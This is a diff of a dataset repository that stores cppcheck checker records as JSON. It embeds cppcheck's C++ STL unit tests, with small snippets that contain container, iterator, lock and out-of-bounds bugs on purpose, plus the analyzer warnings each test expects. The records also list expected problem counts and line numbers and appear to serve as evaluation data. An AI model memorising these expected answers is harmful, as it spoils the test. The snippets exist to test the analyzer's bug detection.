ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(QSet& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(std::multiset& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f2(std::multimap& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f3(std::multimap& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f4(std::multiset& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f5(std::multimap& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(std::unordered_multiset& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f2(std::unordered_multimap& m, unsigned x) {\\n\"\n \" if (m.find(x) == m.end()) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f3(std::unordered_multimap& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f4(std::unordered_multiset& s, unsigned x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f5(std::unordered_multimap& m, unsigned x) {\\n\"\n \" if (m.count(x) == 0) {\\n\"\n \" m.emplace(x, 1);\\n\"\n \" } else {\\n\"\n \" m[x] = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9218 - not small type => do not warn if cpp standard is < c++17\n {\n const char code[] = \"void f1(std::set& s, const LargeType& x) {\\n\"\n \" if (s.find(x) == s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\";\n check(code, dinit(CheckOptions, $.inconclusive = true, $.cppstandard = Standards::CPP11));\n ASSERT_EQUALS(\"\", errout_str());\n check(code, dinit(CheckOptions, $.inconclusive = true, $.cppstandard = Standards::CPP14));\n ASSERT_EQUALS(\"\", errout_str());\n check(code, dinit(CheckOptions, $.inconclusive = true, $.cppstandard = Standards::CPP17));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n }\n\n { // #10558\n check(\"void foo() {\\n\"\n \" std::map x;\\n\"\n \" int data = 0;\\n\"\n \" for(int i=0; i<10; ++i) {\\n\"\n \" data += 123;\\n\"\n \" if(x.find(5) == x.end())\\n\"\n \" x[5] = data;\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::map x;\\n\"\n \" int data = 0;\\n\"\n \" for(int i=0; i<10; ++i) {\\n\"\n \" data += 123;\\n\"\n \" if(x.find(5) == x.end())\\n\"\n \" x[5] = data;\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.cppstandard = Standards::CPP11));\n ASSERT_EQUALS(\"[test.cpp:7:17]: (performance) Searching before insertion is not necessary. Instead of 'x[5]=data' consider using 'x.emplace(5, data);'. [stlFindInsert]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::map x;\\n\"\n \" int data = 0;\\n\"\n \" for(int i=0; i<10; ++i) {\\n\"\n \" data += 123;\\n\"\n \" if(x.find(5) == x.end())\\n\"\n \" x[5] = data;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:17]: (performance) Searching before insertion is not necessary. Instead of 'x[5]=data' consider using 'x.try_emplace(5, data);'. [stlFindInsert]\\n\", errout_str());\n }\n }\n\n void checkKnownEmptyContainer() {\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" for(auto x:v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Iterating over container 'v' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" v.clear();\\n\"\n \" for(auto x:v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Iterating over container 'v' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" if (!v.empty()) { return; }\\n\"\n \" for(auto x:v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Iterating over container 'v' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" if (v.empty()) { return; }\\n\"\n \" for(auto x:v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" std::sort(v.begin(), v.end());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (style) Using sort with iterator 'v.begin()' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #1201\n \" std::vector v1{ 0, 1 };\\n\"\n \" std::vector v2;\\n\"\n \" std::copy(v1.begin(), v1.end(), v2.begin());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:45]: (style) Using copy with iterator 'v2.begin()' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" v.insert(v.end(), 1);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" explicit A(std::vector*);\\n\"\n \"};\\n\"\n \"A f() {\\n\"\n \" std::vector v;\\n\"\n \" A a(&v);\\n\"\n \" for(auto&& x:v) {}\\n\"\n \" return a;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"static void f1(std::list& parameters) {\\n\"\n \" parameters.push_back(a);\\n\"\n \"}\\n\"\n \"int f2(std::list& parameters) {\\n\"\n \" f1(parameters);\\n\"\n \"}\\n\"\n \"void f3() {\\n\"\n \" std::list parameters;\\n\"\n \" int res = ::f2(parameters);\\n\"\n \" for (auto param : parameters) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace ns {\\n\"\n \" using ArrayType = std::vector;\\n\"\n \"}\\n\"\n \"using namespace ns;\\n\"\n \"static void f() {\\n\"\n \" const ArrayType arr;\\n\"\n \" for (const auto &a : arr) {}\\n\"\n \"}\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:7:26]: (style) Iterating over container 'arr' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \"};\\n\"\n \"void foo(S& s) {\\n\"\n \" s.v.clear();\\n\"\n \" bar(s);\\n\"\n \" std::sort(s.v.begin(), s.v.end());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v, int e) {\\n\"\n \" if (!v.empty()) {\\n\"\n \" if (e < 0 || true) {\\n\"\n \" if (e < 0)\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" for (auto i : v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" auto& rv = v;\\n\"\n \" rv.push_back(42);\\n\"\n \" for (auto i : v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"extern void f(std::string&&);\\n\"\n \"static void func() {\\n\"\n \" std::string s;\\n\"\n \" const std::string& s_ref = s;\\n\"\n \" f(std::move(s));\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12757\n \" template\\n\"\n \" void clear() {}\\n\"\n \" template\\n\"\n \" std::vector get() const { return {}; }\\n\"\n \" std::vector m;\\n\"\n \"};\\n\"\n \"template<> void S::clear() { m.clear(); }\\n\"\n \"template<> std::vector S::get() const {\\n\"\n \" for (const auto& i : m) {}\\n\"\n \" return {};\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\" // #13121\n \" static std::string s = {};\\n\"\n \" for (auto c : s) {}\\n\"\n \" if (b)\\n\"\n \" s += \\'a\\';\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector::iterator it) {\\n\" // #13727\n \" std::vector v;\\n\"\n \" v.insert::iterator>(v.end(), it, it + 1);\\n\"\n \" for (auto i : v) {}\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkMutexes() {\n check(\"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" static std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:40]: (warning) Lock guard is defined globally. Lock guards are intended to be local. A global lock guard could lead to a deadlock since it won't unlock until the end of the program. [globalLockGuard]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" static std::unique_lock g(m, std::defer_lock);\\n\"\n \" static std::lock(g);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:41]: (warning) Lock guard is defined globally. Lock guards are intended to be local. A global lock guard could lead to a deadlock since it won't unlock until the end of the program. [globalLockGuard]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" std::unique_lock g(m, std::defer_lock);\\n\"\n \" std::lock(g);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:33]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::unique_lock g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:34]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::unique_lock g(m, std::defer_lock);\\n\"\n \" std::lock(g);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:34]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void g();\\n\"\n \"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g();\\n\"\n \"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"class A {\\n\"\n \" std::mutex m;\\n\"\n \" void f() {\\n\"\n \" std::lock_guard g(m);\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A {\\n\"\n \" std::mutex m;\\n\"\n \" void g();\\n\"\n \" void f() {\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A {\\n\"\n \" std::mutex m;\\n\"\n \" void f() {\\n\"\n \" static std::lock_guard g(m);\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:44]: (warning) Lock guard is defined globally. Lock guards are intended to be local. A global lock guard could lead to a deadlock since it won't unlock until the end of the program. [globalLockGuard]\\n\", errout_str());\n\n check(\"std::mutex& h();\\n\"\n \"void f() {\\n\"\n \" auto& m = h();\\n\"\n \" std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g();\\n\"\n \"std::mutex& h();\\n\"\n \"void f() {\\n\"\n \" auto& m = h();\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::mutex& h();\\n\"\n \"void f() {\\n\"\n \" auto m = h();\\n\"\n \" std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:33]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void g();\\n\"\n \"std::mutex& h();\\n\"\n \"void f() {\\n\"\n \" auto m = h();\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:5]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void foo();\\n\"\n \"void bar();\\n\"\n \"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::thread t([&m](){\\n\"\n \" m.lock();\\n\"\n \" foo();\\n\"\n \" m.unlock();\\n\"\n \" });\\n\"\n \" m.lock();\\n\"\n \" bar();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo();\\n\"\n \"void bar();\\n\"\n \"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::thread t([&m](){\\n\"\n \" std::unique_lock g{m};\\n\"\n \" foo();\\n\"\n \" });\\n\"\n \" std::unique_lock g{m};\\n\"\n \" bar();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { int f = 0; auto g(f); g = g; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct foobar {\\n\"\n \" int foo;\\n\"\n \" std::shared_mutex foo_mtx;\\n\"\n \" int bar;\\n\"\n \" std::shared_mutex bar_mtx;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" foobar xyz;\\n\"\n \" {\\n\"\n \" std::shared_lock shared_foo_lock(xyz.foo_mtx, std::defer_lock);\\n\"\n \" std::shared_lock shared_bar_lock(xyz.bar_mtx, std::defer_lock);\\n\"\n \" std::scoped_lock shared_multi_lock(shared_foo_lock, shared_bar_lock);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n};\n\nREGISTER_TEST(TestStl)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/size.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/size.json new file mode 100644 index 0000000..adedf12 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/size.json @@ -0,0 +1,25 @@ +{ + "name": "size", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 40, + "branches": 18, + "apis": 57, + "test": [ + { + "description": null, + "expected-problems": 4, + "expected-linenumbers": [ + 3782, + 4004, + 4026, + 4069 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkstl.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"settings.h\"\n#include \"standards.h\"\n#include \"utils.h\"\n\n#include \n#include \n\nclass TestStl : public TestFixture {\npublic:\n TestStl() : TestFixture(\"TestStl\") {}\n\nprivate:\n /*const*/ Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::style).severity(Severity::performance).library(\"std.cfg\").build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(outOfBounds);\n TEST_CASE(outOfBoundsSymbolic);\n TEST_CASE(outOfBoundsIndexExpression);\n TEST_CASE(outOfBoundsIterator);\n\n TEST_CASE(iterator1);\n TEST_CASE(iterator2);\n TEST_CASE(iterator3);\n TEST_CASE(iterator4);\n TEST_CASE(iterator5);\n TEST_CASE(iterator6);\n TEST_CASE(iterator7);\n TEST_CASE(iterator8);\n TEST_CASE(iterator9);\n TEST_CASE(iterator10);\n TEST_CASE(iterator11);\n TEST_CASE(iterator12);\n TEST_CASE(iterator13);\n TEST_CASE(iterator14); // #8191\n TEST_CASE(iterator15); // #8341\n TEST_CASE(iterator16);\n TEST_CASE(iterator17);\n TEST_CASE(iterator18);\n TEST_CASE(iterator19);\n TEST_CASE(iterator20);\n TEST_CASE(iterator21);\n TEST_CASE(iterator22);\n TEST_CASE(iterator23);\n TEST_CASE(iterator24);\n TEST_CASE(iterator25); // #9742\n TEST_CASE(iterator26); // #9176\n TEST_CASE(iterator27); // #10378\n TEST_CASE(iterator28); // #10450\n TEST_CASE(iterator29);\n TEST_CASE(iterator30);\n TEST_CASE(iterator31);\n TEST_CASE(iteratorExpression);\n TEST_CASE(iteratorSameExpression);\n TEST_CASE(mismatchingContainerIterator);\n TEST_CASE(eraseIteratorOutOfBounds);\n\n TEST_CASE(dereference);\n TEST_CASE(dereference_break); // #3644 - handle \"break\"\n TEST_CASE(dereference_member);\n\n TEST_CASE(STLSize);\n TEST_CASE(STLSizeNoErr);\n TEST_CASE(negativeIndex);\n TEST_CASE(negativeIndexMultiline);\n TEST_CASE(erase1);\n TEST_CASE(erase2);\n TEST_CASE(erase3);\n TEST_CASE(erase4);\n TEST_CASE(erase5);\n TEST_CASE(erase6);\n TEST_CASE(eraseBreak);\n TEST_CASE(eraseContinue);\n TEST_CASE(eraseReturn1);\n TEST_CASE(eraseReturn2);\n TEST_CASE(eraseReturn3);\n TEST_CASE(eraseGoto);\n TEST_CASE(eraseAssign1);\n TEST_CASE(eraseAssign2);\n TEST_CASE(eraseAssign3);\n TEST_CASE(eraseAssign4);\n TEST_CASE(eraseAssignByFunctionCall);\n TEST_CASE(eraseErase);\n TEST_CASE(eraseByValue);\n TEST_CASE(eraseIf);\n TEST_CASE(eraseOnVector);\n\n TEST_CASE(pushback1);\n TEST_CASE(pushback2);\n TEST_CASE(pushback3);\n TEST_CASE(pushback4);\n TEST_CASE(pushback5);\n TEST_CASE(pushback6);\n TEST_CASE(pushback7);\n TEST_CASE(pushback8);\n TEST_CASE(pushback9);\n TEST_CASE(pushback10);\n TEST_CASE(pushback11);\n TEST_CASE(pushback12);\n TEST_CASE(pushback13);\n TEST_CASE(insert1);\n TEST_CASE(insert2);\n TEST_CASE(popback1);\n\n TEST_CASE(stlBoundaries1);\n TEST_CASE(stlBoundaries2);\n TEST_CASE(stlBoundaries3);\n TEST_CASE(stlBoundaries4); // #4364\n TEST_CASE(stlBoundaries5); // #4352\n TEST_CASE(stlBoundaries6); // #7106\n\n // if (str.find(\"ab\"))\n TEST_CASE(if_find);\n TEST_CASE(if_str_find);\n\n TEST_CASE(size1);\n TEST_CASE(size2);\n TEST_CASE(size3);\n TEST_CASE(size4); // #2652 - don't warn about vector/deque\n\n // Redundant conditions..\n // if (ints.find(123) != ints.end()) ints.remove(123);\n TEST_CASE(redundantCondition1);\n\n // missing inner comparison when incrementing iterator inside loop\n TEST_CASE(missingInnerComparison1);\n TEST_CASE(missingInnerComparison2); // no FP when there is comparison\n TEST_CASE(missingInnerComparison3); // no FP when there is iterator shadowing\n TEST_CASE(missingInnerComparison4); // no FP when \"break;\" is used\n TEST_CASE(missingInnerComparison5); // Ticket #2154 - FP\n TEST_CASE(missingInnerComparison6); // #2643 - 'it=foo.insert(++it,0);'\n\n // catch common problems when using the string::c_str() function\n TEST_CASE(cstr);\n\n TEST_CASE(uselessCalls);\n TEST_CASE(stabilityOfChecks); // #4684 cppcheck crash in template function call\n\n TEST_CASE(dereferenceInvalidIterator);\n TEST_CASE(dereferenceInvalidIterator2); // #6572\n TEST_CASE(dereference_auto);\n\n TEST_CASE(loopAlgoElementAssign);\n TEST_CASE(loopAlgoAccumulateAssign);\n TEST_CASE(loopAlgoContainerInsert);\n TEST_CASE(loopAlgoIncrement);\n TEST_CASE(loopAlgoConditional);\n TEST_CASE(loopAlgoMinMax);\n TEST_CASE(loopAlgoMultipleReturn);\n\n TEST_CASE(invalidContainer);\n TEST_CASE(invalidContainerLoop);\n TEST_CASE(findInsert);\n\n TEST_CASE(checkKnownEmptyContainer);\n TEST_CASE(checkMutexes);\n }\n\n struct CheckOptions\n {\n CheckOptions() = default;\n bool inconclusive = false;\n Standards::cppstd_t cppstandard = Standards::CPPLatest;\n };\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], const CheckOptions& options = make_default_obj()) {\n const Settings settings1 = settingsBuilder(settings).certainty(Certainty::inconclusive, options.inconclusive).cpp(options.cppstandard).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n runChecks(tokenizer, this);\n }\n\n // TODO: get rid of this\n void check_(const char* file, int line, const std::string& code) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n runChecks(tokenizer, this);\n }\n\n#define checkNormal(code) checkNormal_(code, __FILE__, __LINE__)\n template\n void checkNormal_(const char (&code)[size], const char* file, int line) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n }\n\n void outOfBounds() {\n setMultiline();\n\n checkNormal(\"bool f(const int a, const int b)\\n\" // #8648\n \"{\\n\"\n \" std::cout << a << b;\\n\"\n \" return true;\\n\"\n \"}\\n\"\n \"void f(const std::vector &v)\\n\"\n \"{\\n\"\n \" if(v.size() >=2 &&\\n\"\n \" bar(v[2], v[3]) )\\n\" // v[3] is accessed\n \" {;}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:18]: warning: Either the condition 'v.size()>=2' is redundant or size of 'v' can be 2. Expression 'v[2]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:8:17]: note: condition 'v.size()>=2'\\n\"\n \"[test.cpp:9:18]: note: Access out of bounds\\n\"\n \"[test.cpp:9:24]: warning: Either the condition 'v.size()>=2' is redundant or size of 'v' can be 2. Expression 'v[3]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:8:17]: note: condition 'v.size()>=2'\\n\"\n \"[test.cpp:9:24]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" s[10] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:4]: error: Out of bounds access in expression 's[10]' because 's' is empty. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" std::string s = \\\"abcd\\\";\\n\"\n \" s[10] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:4]: error: Out of bounds access in 's[10]', if 's' size is 4 and '10' is 10 [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f(std::vector v) {\\n\"\n \" v.front();\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: warning: Either the condition 'v.empty()' is redundant or expression 'v.front()' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:3:16]: note: condition 'v.empty()'\\n\"\n \"[test.cpp:2:12]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"void f(std::vector v) {\\n\"\n \" if (v.size() == 3) {}\\n\"\n \" v[16] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: warning: Either the condition 'v.size()==3' is redundant or size of 'v' can be 3. Expression 'v[16]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:18]: note: condition 'v.size()==3'\\n\"\n \"[test.cpp:3:6]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"void f(std::vector v) {\\n\"\n \" int i = 16;\\n\"\n \" if (v.size() == 3) {\\n\"\n \" v[i] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: warning: Either the condition 'v.size()==3' is redundant or size of 'v' can be 3. Expression 'v[i]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:3:18]: note: condition 'v.size()==3'\\n\"\n \"[test.cpp:4:10]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"void f(std::vector v, int i) {\\n\"\n \" if (v.size() == 3 || i == 16) {}\\n\"\n \" v[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::map x) {\\n\"\n \" if (x.empty()) { x[1] = 2; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" if (s.size() == 1) {\\n\"\n \" s[2] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: warning: Either the condition 's.size()==1' is redundant or size of 's' can be 1. Expression 's[2]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:18]: note: condition 's.size()==1'\\n\"\n \"[test.cpp:3:10]: note: Access out of bounds\\n\", errout_str());\n\n // Do not crash\n checkNormal(\"void a() {\\n\"\n \" std::string b[];\\n\"\n \" for (auto c : b)\\n\"\n \" c.data();\\n\"\n \"}\");\n 